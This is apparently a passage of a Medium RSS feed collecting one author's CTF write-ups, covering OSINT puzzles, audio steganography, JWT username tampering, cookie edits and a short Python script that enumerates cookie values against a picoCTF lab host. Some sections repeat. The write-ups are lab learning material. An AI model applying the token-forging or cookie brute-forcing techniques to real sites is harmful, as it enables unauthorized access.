src="https://cdn-images-1.medium.com/max/700/0*KphdEqR32XcpjXTK.png" /></figure><p>Found the review at the kbbsteak Terengganu and the flag</p><p><strong>3108{J4g4_pr1v4cy_4nd4!}</strong></p><h3>Perigi</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/0*ts9cJXOOOQlbKC08.png" /></figure><p>We received a zip file that requires a password to decompress.</p><p>Search for “Perigi at Melaka” and the country associated with the phrase “who put the poison twice,” which refers to “Belanda.”</p><p>Use these clues to determine the password and extract the contents of the zip file.</p><p><strong>3108{th3_k1ngs_w3ll_st4ys_0n}</strong></p><h3>Jalan Jalan Desa</h3><p>Search for this location</p><p>Muzium Kota Kayang at Perlis but the flag is wrong so we gonna use the same method, look for the reviews</p><p>And found this on facebook review</p><p>Press enter or click to view image in full size</p><p>We received a zip file that requires a password to decompress.</p><p>Search for “Perigi at Melaka” and the country associated with the phrase “who put the poison twice,” which refers to “Belanda.”</p><p>Use these clues to determine the password and extract the contents of the zip file.</p><p><strong>3108{th3_k1ngs_w3ll_st4ys_0n}</strong></p><h3>Jalan Jalan Desa</h3><p>Search for this location</p><p>Muzium Kota Kayang at Perlis but the flag is wrong so we gonna use the same method, look for the reviews</p><p>And found this on facebook review</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*BJOW1pnKpzpPIP57ukkbdg.png" /></figure><p><strong>3108{Muzium_Bersejarah_Perlis}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fac3cdbc124" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WRITE UP:CTF BAYANG SATRIA]]></title>
            <link>https://medium.com/@sonicmuaz/write-up-ctf-bayang-satria-13a84a7ead7e?source=rss-dc148c93e3c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/13a84a7ead7e</guid>
            <dc:creator><![CDATA[FROSTIVUS]]></dc:creator>
            <pubDate>Wed, 03 Sep 2025 07:11:27 GMT</pubDate>
            <atom:updated>2025-09-03T07:11:27.303Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*jt_3g6MUUAR3jzhOkbWeGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*qlQhDsgXKQ0-u02fHRklAg.png" /></figure><p>Though Process<br>- Opened the challenge link. Saw a floating Rubik’s Cube in space.<br>- At first, I thought I actually needed to solve the Rubik’s Cube 😅.<br>- But then I inspected the page and opened the browser console to see what was<br>going on behind the scenes.</p><h3><strong>Solve</strong></h3><p>In the console, I noticed some JavaScript involving the cube state.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*ZkVhWNcPpLM6UAzSPRylQA.png" /></figure><p>Sending this “solved cube” state triggered the event to the server and boom the<br>flag popped out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*njKqNflbzcgzybo6BaSVyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*QESM3nYFvoP48hhie1LViw.png" /></figure><p>FLAG: 3108{Sh31kh_MuZ4ph4r_5p4c3_73219}<br>Takeaways<br>- Sometimes, you don’t need to actually play the game. Just check the console or<br>network requests.<br>- Web challenges often hide secrets in JavaScript or socket events.<br>- Also… solving Rubik’s Cube in zero gravity would be kinda fun 😆.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*zr75cV-CVuUozRwHTr2auA.png" /></figure><p>Though Process<br>- The visible content looked normal, but I had a feeling there might be hidden<br>characters.<br>- This reminded me of Unicode/whitespace steganography, where data is<br>embedded using invisible characters (like zero-width space, tabs, or<br>non-breaking spaces).</p><h3><strong>Solve</strong></h3><p>Instead of trying to manually parse invisible characters, I used an online tools:<br><a href="https://330k.github.io/misc_tools/unicode_steganography.html">https://330k.github.io/misc_tools/unicode_steganography.html</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*rKlzDtkdZxgkfvXD1VPuHA.png" /></figure><p>FLAG: 3108{e1sner_r1c3_b00k}<br>Takeaways<br>- A file can look completely normal, but invisible Unicode characters can hide data.<br>- Next time, I remember to check both visible and invisible data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*iMMz1FbqRKXnRhPGqsRPLw.png" /></figure><p>Though Process<br>- At first, I actually tried to play it like a real game. It was fun but… 400 is a lot 😅.<br>- Then I thought: “This is a CTF, not just a game.” So I opened up the browser<br>console and started inspecting the JavaScript.<br>- In ‘game.js’, I noticed a function that looked very suspicious.</p><h3><strong>Solve</strong></h3><p>Instead of grinding my way to 400 points, I just executed the function directly in<br>the console and Boom.. the flag appeared immediately on screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*AfSk6Uh-_bLCQRy1Iio4nw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*kzci40bsNajibVi6Nm8m9A.png" /></figure><p>FLAG: 3108{ul4r_l3gend}<br>Takeaways<br>- Always inspect the source code. Sometimes developers leave debug/test<br>functions.<br>- Not every challenge requires “playing fair”.<br>- Snake game was fun tho, but im glad i didnt have to reach 400 points manually</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*HSsN-1IVdTVao-6fbx8ftw.png" /></figure><p>Though Process<br>- The first hint clearly suggested using visual analysis instead of just listening -<br>spectrogram.<br>- The second hint pointed towards “Usman Awang” pen name. I did a quick<br>Wikipedia check, and found his pseudonym: “Tongkat Warrant”. That must be the<br>passphrase.</p><h3><strong>Solve</strong></h3><p>Part 1: Spectogram Analysis:<br>Opened the audio file in a spectrogram tool (Sonic Visualiser).<br>Around minute 2:00, I spotted the hidden text embedded visually in the<br>spectrogram.<br>That revealed the first part of the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*UDeaLMnG9Rp3C4kHeoPwSg.png" /></figure><p>Part 2: Steghide Extraction<br>Tried extracting hidden data from the `.wav` using steghide.<br>It asked for a passphrase. Based on the hint, I used `Tongkat Warrant`<br>Extraction worked 🎉and I got a PDF containing Usman Awang’s biodata and<br>synopsis of “Puisi Ke Makam Bonda”.<br>At the end of the PDF, the second part of the flag was revealed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*uYVeeXezOfNKHNgMqHETTA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*EBk475ZmNTLNqSDOApB_tQ.png" /></figure><p>FLAG: 3108{Bondaku_Y4ng_Disayangi_Sem0ga_Dirahmati}<br>Takeaways<br>- Audio files can hide data in two ways:</p><ul><li>Visual stego (spectrogram images).<br>- File stego (hidden payloads inside using tools like steghide, binwalk).<br>- Always check historical hints. The pseudonym of “Usman Awang” (Tongkat Warrant)<br>was the key.<br>- Loved how this challenge tied with Malaysia literary heritage.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*Kkr9_JFuCYy6d-yD9HlDPg.png" /></figure><p>Though Process<br>- When submitting random 4-character inputs, sometimes the response contained:<br>- Petunjuk Misteri<br>- Ada rahsia di sini… *************************<br>- That suggested it was checking for correct substrings of the flag.<br>- Brute forcing 4-char windows manually would take forever, so I wrote a Python<br>script to automate it.</p><h3><strong>Solve</strong></h3><p>The script works by:<br>Taking the last 3 known characters.<br>Appending each possible character.<br>Checking if the API response contains “Pentunjuk Misteri” (success).<br>Building the flag step by step until it completes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*gPjdW2xWNjvIyRwq_Lx-Nw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*exi_ACmoFc-HzviHnsSmeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*cST5EwOOt3_T2rZ_H8dEKA.png" /></figure><p>FLAG: 3108{Buj4ngL4p0k_M3rd3k4}<br>Takeaways<br>- Automating the process saves tons of time compared to guessing manually.<br>- Also learned how to bruteforce API safely without breaking them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*z-Rb0xoGRzQzcBD7dw4CIg.png" /></figure><p>Though Process<br>- The cube status was printed in text format.<br>- I didn’t want to manually figure it out, so I decided to use an online Rubik’s Cube<br>solver.<br><a href="https://ruwix.com/online-rubiks-cube-solver-program/">https://ruwix.com/online-rubiks-cube-solver-program/</a><br>- Mapped the cube state into the solver. It generated the exact move sequence<br>needed.</p><h3>Solve</h3><p>I took the generated moves and submitted them directly to the nc session:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*MC7VrPLVGaExZa7taA0oOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*Rz71Vq-s0eg-rmOqZtnGVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*FB-Tqs7_1qkW9htZtuAbEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*u14o834Wp15WZkhEIxoiYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*bb8rkH4Uts0dt2PLccKKSg.png" /></figure><p>FLAG: 3108{9a618248b64db62d15b300a07b00580b}<br>Takeaways<br>- Sometimes the intended solution is just to map the state and let a solver do the<br>job.<br>- Playing with nc-based “games” is fun, they make you feel like you’re inside a<br>space mission.<br>- Big respect to Sheikh Muszaphar for the inspiration ✨.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*S4DXjFV9-MfKjmyX2veH4g.png" /></figure><p>Though Process<br>- Credentials were provided in Base64. Decoded: “guest:Selangor1972_1987”<br>- Logged in successfully — redirected to “/dashboard”.<br>- Clicking view flag redirected me to “/flag” but got:<br>- You do not have permission to view this content.<br>- Only SuperMokh can access the flag.<br>- Current user: guest</p><h3><strong>Solve</strong></h3><p>I checked the cookies and saw something like JWT token:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*sy5kTRaDBxhSdv5pp6fcmw.png" /></figure><p>Decoded JWT token looked like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*uG611I83jbkujw6LMhBNZw.png" /></figure><p>Clearly, the site was relying only on the username field.<br>I crafted a new JWT and changed the username to “SuperMokh”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*oBzzDQVEiGTuf_xiBoR-Ug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*PMIJX_IMOGM5IYevB2PpJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*Of1HDaY4TMw2xjajpoSelQ.png" /></figure><p>Then replace the token in the browser. After refreshing the “/flag” page with the<br>modified JWT, the flag appeared 🎉.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*pVXeXzTPRHtN6fM81IJU-g.png" /></figure><p>FLAG: 3108{m0kht4r_d4h4r1_l3g3nd_n3v3r_d13s}<br>Takeaways<br>- Always inspect cookies in web apps.<br>- This was a textbook example of JWT tampering — privilege escalation.<br>- A fun tribute to Malaysia’s legendary striker, Mokhtar Dahari ⚽🔥.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*362POmDgng3p_F5ksw70Mw.png" /></figure><p>Though Process<br>- Step 1 — Reordering the Prime Minister<br>- Step 2 — Cookie Analysis</p><h3><strong>Solve</strong></h3><p>By historical timeline, the correct order of Malaysian Prime Ministers is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*XfEYOxufian0kQNw2IGUlQ.png" /></figure><p>Inspecting cookies revealed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/224/1*2dx43KCjOxreJOObDaApCQ.png" /></figure><p>I changed the cookies to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/224/1*VsbP3_KtMZlUc8j6Xov0dQ.png" /></figure><p>Then click “semak jawapan”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*vPh7UbxmakdDMteAw0HhRA.png" /></figure><p>FLAG: 3108{p3m1mp1n_m4l4y5I4}<br>Takeaways<br>- Correct historical knowledge was needed to reorder the PMs.<br>- Cookies can be used to store hidden logic checks — a reminder to always inspect<br>them during web challenges.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13a84a7ead7e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PICO CTF]]></title>
            <link>https://medium.com/@sonicmuaz/http-mercury-picoctf-net-port-check-476f9f5d0bbc?source=rss-dc148c93e3c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/476f9f5d0bbc</guid>
            <dc:creator><![CDATA[FROSTIVUS]]></dc:creator>
            <pubDate>Mon, 21 Oct 2024 13:58:27 GMT</pubDate>
            <atom:updated>2025-08-03T06:51:58.148Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*p5VojR8tTNhmFpJu_Vz1vg.png" /></figure><p>“http://mercury.picoctf.net:&lt;port&gt;/check” checks the cookie set previously and, based on the cookie, it generates a custom message</p><p>Suddenly, a theory came to my mind, but I needed one more proof to confirm it.</p><p>In order to confirm my theory, I submitted the name of another famous biscuit: “gingerbread”. The response was positive:</p><p>Searching for “gingerbread”</p><p>But, more interestingly, my cookie changed from -1 to 23. Yes! I was right! The web page “http://mercury.picoctf.net:&lt;port&gt;/check” identifies each biscuit with successive numbers and crafts messages based on the number (stored in the web cookie) submitted. Therefore, by modifing the cookie “name” it would be possible to retrieve all the personalized messages, and maybe also the flag.</p><p>This type of attack is very easy to perform by using <a href="https://portswigger.net/burp/documentation/desktop/tools/intruder/using">Burpsuite Intruder</a>, however, I decided to perform it by using a python script in order to improve my programming skills.</p><p>The script I used is the following one:</p><p>#!/bin/python3import requestsfor i in range(25):<br>cookie = &#39;name={}&#39;.format(i)<br>headers = {&#39;Cookie&#39;:cookie}</p><p>r = requests.get(&#39;http://mercury.picoctf.net:&lt;port&gt;/check&#39;, headers=headers)if (r.status_code == 200) and (&#39;picoCTF&#39; in r.text):<br>print(r.text)</p><p>It simply makes GET requests to “http://mercury.picoctf.net:&lt;port&gt;/check”, by submitting a new cookie each time. Then it analyzes the responses, and, in the case it finds the string “picoCTF” inside the response, it prints it.</p><p>The script worked as expected and I was able to retrieve the flag:</p><p>Flag</p><p>Pwned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=476f9f5d0bbc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WRITE UP:CTF&OSINT WORKSHOP 2]]></title>
            <link>https://medium.com/@sonicmuaz/write-up-ctf-osint-workshop-2-483dee07109c?source=rss-dc148c93e3c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/483dee07109c</guid>
            <dc:creator><![CDATA[FROSTIVUS]]></dc:creator>
            <pubDate>Sun, 13 Oct 2024 11:13:06 GMT</pubDate>
            <atom:updated>2024-10-13T11:13:06.557Z</atom:updated>
            <content:encoded><![CDATA[<h3>Question 1: Jalan Jalan Desa</h3><p>Question:<br>*Syah yang minat akan menggembara telah sampai ke negeri Indera Kayangan. Syah telah meninggalkan satu gambar kepada anda. Gambar tersebut merupakan tempat yang telah Syah lawati sejurus anda membaca ini. Syah juga selalu meninggalkan review sejurus melawat mana2 tempat. Jejak dimana beliau berada !</p><p>Gambar: <a href="https://postimg.cc/4714PvtM">https://postimg.cc/4714PvtM</a></p><p>Format Flag: 3108{}*</p><p>Answer:<br>In this challenge, we got an image of location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*AaZrTsaF1rb5x7Gmu5uB4g.png" /></figure><p>After figure out this is Kota Kayang Museum. In the question mention that Syah have give the review so we search certain word “Kota Kayang Museum” and “3108”. After that, we get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/0*EW3Ofp-WfseFxE9n" /></figure><p>Flag: 3108{Muzium_Bersejarah_Perlis}</p><h3>Question 2: Tinggi Lagi</h3><p>Question:<br>*Bangunan Tertinggi Di Malaysia yang tidak terbina. Tau tak kat mana?</p><p>Gambar: <a href="https://postimg.cc/8jR4Hjnv">https://postimg.cc/8jR4Hjnv</a></p><p>Format Flag: 3108{latitude, longtitude}</p><p>Jawapan dalam dua titik perpuluhan*</p><p>Answer:<br>On this question it gives this picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/0*Q1CaIz-0fB_VnVEb" /></figure><p>I used Google Images to get info about this picture and found this picture is the Tower of Tradewind Square. After that, I googled the latitude and length of Tradewind and got the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/0*FEsMKBVLLtQ7ndfD" /></figure><p>*Flag:**3108{3.15, 101.71}</p><h3>Question 3: LostArt</h3><p>Question:<br>*There’re a lot of masterpiece lost during war times, find the ID of the art for example: IBOH24{Art-ID}</p><p>Image: <a href="https://postimg.cc/Lqx2Z4pK">https://postimg.cc/Lqx2Z4pK</a></p><p>Flag Format: IBOH24{}*</p><p>Answer:<br>On this question I get this picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/0*rSL7Yq6_MbelOGQ8" /></figure><p>After Google Images, before we want to get the id, we need to find the name of the artist, I got the artist and the name of this art.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pvCziFs14HvWDTtjuhJS1w.png" /></figure><p>After that, I go to LostArt Database and try searching the name and artist of this art. Then, I get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/0*k5Ynix7OiFq2dte6" /></figure><p>**Flag:**IBOH24{583920}</p><h3>Question 4: RyoikiTenkai</h3><p>Question:<br>*Which train lines am I part of? Example: “Hakozaki Line, Meijō Line, and Sennichimae Line” will be IBOH24{HakozakiLine_MeijōLine_SennichimaeLine}</p><p>Image: <a href="https://postimg.cc/sBWSmLT2">https://postimg.cc/sBWSmLT2</a></p><p>Flag Format: IBOH24{}*</p><p>Answer:<br>I get this image on this question</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yz16czOnRekT0d2T" /></figure><p>After figure out, this is about Kitakami Station</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/0*e0UiMvv4Zmxbfjhb" /></figure><p>After that, I navigate to wikipedia page and it show the line of statiion and I combine these three lines become flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/0*62ZYlhFqE2mGFMd0" /></figure><p>Flag: IBOH24{TōhokuShinkansen_TōhokuMainLine_KitakamiLine}</p><h3>Question 5: Airport</h3><p>Question:<br>*I am an airport, can you find my name?</p><p>Example: “Kuala Lumpur International Airport” will be IBOH24{Kuala_Lumpur_International_Airport}</p><p>Image: <a href="https://postimg.cc/ppKwNVyQ">https://postimg.cc/ppKwNVyQ</a></p><p>Flag Format: IBOH24{}*</p><p>Answer:<br>On this question, I get this image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nautC2GGfw5Vw9qL" /></figure><p>I used Google Images and I searched for it on various websites and I found this airport on the reddit website and found out it was Haneda Airport from Reddit and I got the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fA0blJdaxjuv5V8qmCsqeQ.png" /></figure><p>Flag: IBOH24{Haneda_Airport</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=483dee07109c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>